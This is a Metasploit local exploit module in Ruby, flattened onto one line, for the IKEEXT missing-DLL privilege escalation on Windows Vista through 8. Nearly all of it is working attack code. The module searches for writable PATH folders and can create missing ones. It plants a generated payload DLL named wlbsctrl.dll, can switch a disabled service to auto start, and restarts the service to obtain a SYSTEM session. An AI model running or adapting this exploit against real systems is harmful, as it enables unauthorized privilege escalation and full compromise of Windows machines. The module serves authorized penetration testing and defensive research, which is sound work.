## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts automatically in default installations of Vista-Win8. It requires an insecure bin path to plant the DLL payload. }, 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], 'DisclosureDate' => "Oct 09 2012", 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell ' ], 'Platform' => [ 'win'], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'ReverseConnectRetries' => 255 }, 'DefaultTarget' => 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) ]) @service_name = 'IKEEXT' @load_lib_search_path = [ '%SystemRoot%\\System32', '%SystemRoot%\\System', '%SystemRoot%' ] @non_existant_dirs = [] end def check_service_exists?(service) srv_info = service_info(service) if srv_info.nil? print_warning("Unable to enumerate services.") return false end if srv_info && srv_info['Name'].empty? print_warning("Service #{service} does not exist.") return false else return true end end def check srv_info = service_info('IKEEXT') if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe end vprint_status(srv_info.to_s) case srv_info['Startup'] when 'Disabled' print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' print_good("Service is set to Automatically start...") end if check_search_path return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def check_search_path dll = 'wlbsctrl.dll' @load_lib_search_path.each do |path| dll_path = "#{expand_path(path)}\\#{dll}" if file_exist?(dll_path) print_warning("DLL already exists at #{dll_path}...") return true end end return false end def check_system_path print_status("Checking %PATH% folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? print_error("Unable to retrieve %PATH% from registry.") return end paths = result.split(';') paths.append(@load_lib_search_path).flatten!.uniq! paths.each do |p| path = expand_path(p) if exist?(path) if check_write_access(path) return path end else # User may be able to create the path... print_status("Path #{path} does not exist...") @non_existant_dirs << path end end return nil end def check_write_access(path) perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good ("Write permissions in #{path} - #{perm}") return true elsif perm vprint_status ("Permissions for #{path} - #{perm}") else vprint_status ("No permissions for #{path}") end return false end def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) if exist?(dir) register_file_for_cleanup(dir) return dir end rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end end return nil end def check_session_arch if sysinfo['Architecture'] =~ /x64/i if payload_instance.arch.first == 'x86' fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") end else if payload_instance.arch.first =~ /64/i fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") end end end def exploit check_session_arch begin @token = get_imperstoken rescue Rex::Post::Meterpreter::RequestError vprint_error("Error while using get_imperstoken: #{e}") end fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token if is_system? fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") if !check_service_exists?(@service_name) fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end if is_uac_enabled? print_warning("UAC is enabled, may get false negatives on writable folders.") end if datastore['DIR'].empty? # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs if file_path.nil? fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") end else # Use manually selected Dir file_path = datastore['DIR'] end @dll_file_path = "#{file_path}\\wlbsctrl.dll" service_information = service_info(@service_name) if service_information['Startup'] == 'Disabled' print_status("Service is disabled, attempting to enable...") service_change_startup(@service_name, 'auto') service_information = service_info(@service_name) # Still disabled if service_information['Startup'] == 'Disabled' fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") end end # Check architecture dll = generate_payload_dll # # Drop the malicious executable into the path # print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Exploit::Failure::Unknown, e.message) end # # Run the service, let the Windows API do the rest # print_status("Launching service #{@service_name}...") begin status = service_start(@service_name) if status == 1 print_status("Service already running, attempting to restart...") if service_stop(@service_name) == 0 print_status("Service stopped, attempting to start...") if service_start(@service_name) == 0 print_status("Service started...") else register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") register_file_for_cleanup(@dll_file_path) end rescue RuntimeError if service_information['Startup'] == 'Manual' register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) break if session_created? select(nil,nil,nil,1) end else register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end end end end